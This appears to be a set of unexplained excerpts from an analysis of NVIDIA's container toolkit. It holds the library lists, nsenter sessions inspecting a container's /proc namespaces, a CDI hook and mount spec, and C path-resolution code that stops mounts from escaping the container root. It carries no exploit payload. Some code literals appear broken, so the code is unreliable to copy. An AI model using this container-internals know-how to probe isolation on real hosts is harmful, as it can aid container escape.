nitems(ngx_libs)))                return (true);        return (false);}

static const struct option container_opts[] = {        ...        {"utility", OPT_UTILITY_BINS|OPT_UTILITY_LIBS},        {"compute", OPT_COMPUTE_BINS|OPT_COMPUTE_LIBS},        {"video", OPT_VIDEO_LIBS|OPT_COMPUTE_LIBS},        {"graphics", OPT_GRAPHICS_LIBS},        {"display", OPT_DISPLAY|OPT_GRAPHICS_LIBS},        {"ngx", OPT_NGX_LIBS},        ...};

static const char * const utility_bins[] = {        "nvidia-smi",                       /* System management interface */        "nvidia-debugdump",                 /* GPU coredump utility */        "nvidia-persistenced",              /* Persistence mode utility */        "nv-fabricmanager",                 /* NVSwitch fabric manager utility */        //"nvidia-modprobe",                /* Kernel module loader */        //"nvidia-settings",                /* X server settings */        //"nvidia-xconfig",                 /* X xorg.conf editor */}; static const char * const compute_bins[] = {        "nvidia-cuda-mps-control",          /* Multi process service CLI */        "nvidia-cuda-mps-server",           /* Multi process service server */}; static const char * const utility_libs[] = {        "libnvidia-ml.so",                  /* Management library */        "libnvidia-cfg.so",                 /* GPU configuration */        "libnvidia-nscq.so",                /* Topology info for NVSwitches and GPUs */}; static const char * const compute_libs[] = {        "libcuda.so",                       /* CUDA driver library */        "libcudadebugger.so",               /* CUDA Debugger Library */        "libnvidia-opencl.so",              /* NVIDIA OpenCL ICD */        "libnvidia-gpucomp.so",             /* Shared Compiler Library */        "libnvidia-ptxjitcompiler.so",      /* PTX-SASS JIT compiler (used by libcuda) */        "libnvidia-fatbinaryloader.so",     /* fatbin loader (used by libcuda) */        "libnvidia-allocator.so",           /* NVIDIA allocator runtime library */        "libnvidia-compiler.so",            /* NVVM-PTX compiler for OpenCL (used by libnvidia-opencl) */        "libnvidia-pkcs11.so",              /* Encrypt/Decrypt library */        "libnvidia-pkcs11-openssl3.so",     /* Encrypt/Decrypt library (OpenSSL 3 support) */        "libnvidia-nvvm.so",                /* The NVVM Compiler library */}; static const char * const video_libs[] = {        "libvdpau_nvidia.so",               /* NVIDIA VDPAU ICD */        "libnvidia-encode.so",              /* Video encoder */        "libnvidia-opticalflow.so",         /* NVIDIA Opticalflow library */        "libnvcuvid.so",                    /* Video decoder */}; static const char * const graphics_libs[] = {        //"libnvidia-egl-wayland.so",       /* EGL wayland platform extension (used by libEGL_nvidia) */        "libnvidia-eglcore.so",             /* EGL core (used by libGLES*[_nvidia] and libEGL_nvidia) */        "libnvidia-glcore.so",              /* OpenGL core (used by libGL or libGLX_nvidia) */        "libnvidia-tls.so",                 /* Thread local storage (used by libGL or libGLX_nvidia) */        "libnvidia-glsi.so",                /* OpenGL system interaction (used by libEGL_nvidia) */        "libnvidia-fbc.so",                 /* Framebuffer capture */        "libnvidia-ifr.so",                 /* OpenGL framebuffer capture */        "libnvidia-rtcore.so",              /* Optix */        "libnvoptix.so",                    /* Optix */}; static const char * const graphics_libs_glvnd[] = {        //"libGLX.so",                      /* GLX ICD loader */        //"libOpenGL.so",                   /* OpenGL ICD loader */        //"libGLdispatch.so",               /* OpenGL dispatch (used by libOpenGL, libEGL and libGLES*) */        "libGLX_nvidia.so",                 /* OpenGL/GLX ICD */        "libEGL_nvidia.so",                 /* EGL ICD */        "libGLESv2_nvidia.so",              /* OpenGL ES v2 ICD */        "libGLESv1_CM_nvidia.so",           /* OpenGL ES v1 common profile ICD */        "libnvidia-glvkspirv.so",           /* SPIR-V Lib for Vulkan */        "libnvidia-cbl.so",                 /* VK_NV_ray_tracing */}; static const char * const graphics_libs_compat[] = {        "libGL.so",                         /* OpenGL/GLX legacy _or_ compatibility wrapper (GLVND) */        "libEGL.so",                        /* EGL legacy _or_ ICD loader (GLVND) */        "libGLESv1_CM.so",                  /* OpenGL ES v1 common profile legacy _or_ ICD loader (GLVND) */        "libGLESv2.so",                     /* OpenGL ES v2 legacy _or_ ICD loader (GLVND) */}; static const char * const ngx_libs[] = {        "libnvidia-ngx.so",                 /* NGX library */}; static const char * const dxcore_libs[] = {        "libdxcore.so",                     /* Core library for dxcore support */};

root@wanglei-gpu:~# docker run -tid ubuntu sleep 777770c6ac9b97277217e13fecbc8ac8754e569b83b33a871236493a10b5ad291ca3root@wanglei-gpu:~# ps -ef |grep 7777root       30697   30677  0 22:51 pts/0    00:00:00 sleep 7777root       30720   23331  0 22:51 pts/0    00:00:00 grep --color=auto 7777root@wanglei-gpu:~# nsenter -t 30697 -mroot@wanglei-gpu:/# ls -lahd proc/1dr-xr-xr-x 9 root root 0 Dec 12 14:51 proc/1root@wanglei-gpu:/# ls -lahd proc/selfls: cannot read symbolic link 'proc/self': No such file or directorylrwxrwxrwx 1 root root 0 Dec 12 14:51 proc/selfroot@wanglei-gpu:/# stat proc/self  File: proc/selfstat: cannot read symbolic link 'proc/self': No such file or directory
  Size: 0           Blocks: 0          IO Block: 1024   symbolic linkDevice: 0,65  Inode: 4026531842  Links: 1Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)Access: 2024-12-12 14:51:50.626149745 +0000Modify: 2024-12-12 14:51:50.538149127 +0000Change: 2024-12-12 14:51:50.538149127 +0000 Birth: -root@wanglei-gpu:/# stat proc/1  File: proc/1  Size: 0           Blocks: 0          IO Block: 1024   directoryDevice: 0,65  Inode: 224269      Links: 9Access: (0555/dr-xr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)Access: 2024-12-12 14:51:50.626149745 +0000Modify: 2024-12-12 14:51:50.626149745 +0000Change: 2024-12-12 14:51:50.626149745 +0000 Birth: -

root@wanglei-gpu:~# nsenter -t 30697 -m -proot@wanglei-gpu:/# cat /proc/self/status Name:  catUmask:  0022State:  R (running)Tgid:  53015Ngid:  0Pid:  53015PPid:  52992...root@wanglei-gpu:/# cat /proc/52992/statusName:  bashUmask:  0022State:  S (sleeping)Tgid:  52992Ngid:  0Pid:  52992PPid:  0...

---cdiVersion: 0.5.0containerEdits:  deviceNodes:  - path: /dev/nvidia-modeset  - path: /dev/nvidia-uvm  - path: /dev/nvidia-uvm-tools  - path: /dev/nvidiactl  env:  - NVIDIA_VISIBLE_DEVICES=void  hooks:  - args:    - nvidia-cdi-hook    - create-symlinks    - --link    - libnvidia-allocator.so.470.223.02::/usr/lib/x86_64-linux-gnu/libnvidia-allocator.so.1    - --link    - ../libnvidia-allocator.so.1::/usr/lib/x86_64-linux-gnu/gbm/nvidia-drm_gbm.so    - --link    - libnvidia-vulkan-producer.so.470.223.02::/usr/lib/x86_64-linux-gnu/libnvidia-vulkan-producer.so    - --link    - libglxserver_nvidia.so.470.223.02::/usr/lib/xorg/modules/extensions/libglxserver_nvidia.so    hookName: createContainer    path: /usr/bin/nvidia-cdi-hook  - args:    - nvidia-cdi-hook    - update-ldcache    - --folder    - /usr/lib/x86_64-linux-gnu    hookName: createContainer    path: /usr/bin/nvidia-cdi-hook  mounts:  - containerPath: /run/nvidia-persistenced/socket    hostPath: /run/nvidia-persistenced/socket    options:    - ro    - nosuid    - nodev    - bind    - noexec  ...  - containerPath: /usr/bin/nvidia-persistenced    hostPath: /usr/bin/nvidia-persistenced    options:    - ro    - nosuid    - nodev    - bind  - containerPath: /usr/bin/nvidia-smi    hostPath: /usr/bin/nvidia-smi    options:    - ro    - nosuid    - nodev    - bind  - containerPath: /etc/vulkan/icd.d/nvidia_icd.json    hostPath: /etc/vulkan/icd.d/nvidia_icd.json    options:    - ro    - nosuid    - nodev    - bind  - containerPath: /etc/vulkan/implicit_layer.d/nvidia_layers.json    hostPath: /etc/vulkan/implicit_layer.d/nvidia_layers.json    options:    - ro    - nosuid    - nodev    - bind  - containerPath: /usr/lib/x86_64-linux-gnu/libEGL_nvidia.so.470.223.02    hostPath: /usr/lib/x86_64-linux-gnu/libEGL_nvidia.so.470.223.02    options:    - ro    - nosuid    - nodev    - bind  ...devices:- containerEdits:    deviceNodes:    - path: /dev/nvidia0    - path: /dev/dri/card1    - path: /dev/dri/renderD128    hooks:    - args:      - nvidia-cdi-hook      - create-symlinks      - --link      - ../card1::/dev/dri/by-path/pci-0000:00:0d.0-card      - --link      - ../renderD128::/dev/dri/by-path/pci-0000:00:0d.0-render      hookName: createContainer      path: /usr/bin/nvidia-cdi-hook    - args:      - nvidia-cdi-hook      - chmod      - --mode      - "755"      - --path      - /dev/dri      hookName: createContainer      path: /usr/bin/nvidia-cdi-hook  name: "0"- containerEdits:    deviceNodes:    - path: /dev/nvidia0    - path: /dev/dri/card1    - path: /dev/dri/renderD128    hooks:    - args:      - nvidia-cdi-hook      - create-symlinks      - --link      - ../card1::/dev/dri/by-path/pci-0000:00:0d.0-card      - --link      - ../renderD128::/dev/dri/by-path/pci-0000:00:0d.0-render      hookName: createContainer      path: /usr/bin/nvidia-cdi-hook    - args:      - nvidia-cdi-hook      - chmod      - --mode      - "755"      - --path      - /dev/dri      hookName: createContainer      path: /usr/bin/nvidia-cdi-hook  name: GPU-86fd03a3-2937-0c87-3dff-26be693ec102- containerEdits:    deviceNodes:    - path: /dev/nvidia0    - path: /dev/dri/card1    - path: /dev/dri/renderD128    hooks:    - args:      - nvidia-cdi-hook      - create-symlinks      - --link      - ../card1::/dev/dri/by-path/pci-0000:00:0d.0-card      - --link      - ../renderD128::/dev/dri/by-path/pci-0000:00:0d.0-render      hookName: createContainer      path: /usr/bin/nvidia-cdi-hook    - args:      - nvidia-cdi-hook      - chmod      - --mode      - "755"      - --path      - /dev/dri      hookName: createContainer      path: /usr/bin/nvidia-cdi-hook  name: allkind: nvidia.com/gpu

+static char *mount_in_root(struct error *err, const char *src, const char *rootfs, const char *path, uid_t uid, uid_t gid, unsigned long mountflags); +// mount_in_root bind mounts the specified src to the specified location in a root.+// If the destination resolves outside of the root an error is raised.+static char *+mount_in_root(struct error *err, const char *src, const char *rootfs, const char *path, uid_t uid, uid_t gid, unsigned long mountflags) {+       char dst[PATH_MAX];+       if (path_resolve_full(err, dst, rootfs, path) < 0)+               return (NULL);+       return mount_with_flags(err, src, dst, uid, gid, mountflags);+}

intpath_resolve_full(struct error *err, char *buf, const char *root, const char *path){        return (do_path_resolve(err, true, buf, root, path));} static intdo_path_resolve(struct error *err, bool full, char *buf, const char *root, const char *path){        int fd = -1;        int rv = -1;        char realpath[PATH_MAX];        char dbuf[2][PATH_MAX];        char *link = dbuf[0];        char *ptr = dbuf[1];        char *file, *p;        unsigned int noents = 0;        unsigned int nlinks = 0;        ssize_t n;         *ptr = '';        *realpath = '';        assert(*root == '/');         if ((fd = open_next(err, -1, root)) < 0)                goto fail;        if (path_append(err, ptr, path) < 0)                goto fail;         while ((file = strsep(&ptr, "/")) != NULL) {                if (*file == '' || str_equal(file, "."))                        continue;                else if (str_equal(file, "..")) {                        /*                         * Remove the last component from the resolved path. If we are not below                         * non-existent components, restore the previous file descriptor as well.                         */                        if ((p = strrchr(realpath, '/')) == NULL) {                                error_setx(err, "path error: %s resolves outside of %s", path, root);                                goto fail;                        }                        *p = '';                        if (noents > 0)                                --noents;                        else {                                if ((fd = open_next(err, fd, "..")) < 0)                                        goto fail;                        }                } else {                        if (noents > 0)                                goto missing_ent;                         n = readlinkat(fd, file, link, PATH_MAX);                        if (n > 0 && n < PATH_MAX && nlinks < MAXSYMLINKS) {                                /*                                 * Component is a symlink, append the rest of the path to it and                                 * proceed with the resulting buffer. If it is absolute, also clear                                 * the resolved path and reset our file descriptor to root.                                 */                                link[n] = '';                                if (*link == '/') {                                        ++link;                                        *realpath = '';                                        if ((fd = open_next(err, fd, root)) < 0)                                                goto fail;                                }                                if (ptr != NULL) {                                        if (path_append(err, link, ptr) < 0)                                                goto fail;                                }                                ptr = link;                                link = dbuf[++nlinks % 2];                        } else {                                if (n >= PATH_MAX)                                        errno = ENAMETOOLONG;                                else if (nlinks >= MAXSYMLINKS)                                        errno = ELOOP;                                switch (errno) {                                missing_ent:                                case ENOENT:                                        /* Component doesn't exist */                                        ++noents;                                        if (path_append(err, realpath, file) < 0)                                                goto fail;                                        break;                                case EINVAL:                                        /* Not a symlink, proceed normally */                                        if ((fd = open_next(err, fd, file)) < 0)                                                goto fail;                                        if (path_append(err, realpath, file) < 0)                                                goto fail;                                        break;                                default:                                        error_set(err, "path error: %s/%s", root, path);                                        goto fail;                                }                        }                }        }         if (!full) {                if (path_new(err, buf, realpath) < 0)                        goto fail;        } else {                if (path_join(err, buf, root, realpath) < 0)                        goto fail;        }        rv = 0;  fail:        xclose(fd);        return (rv);}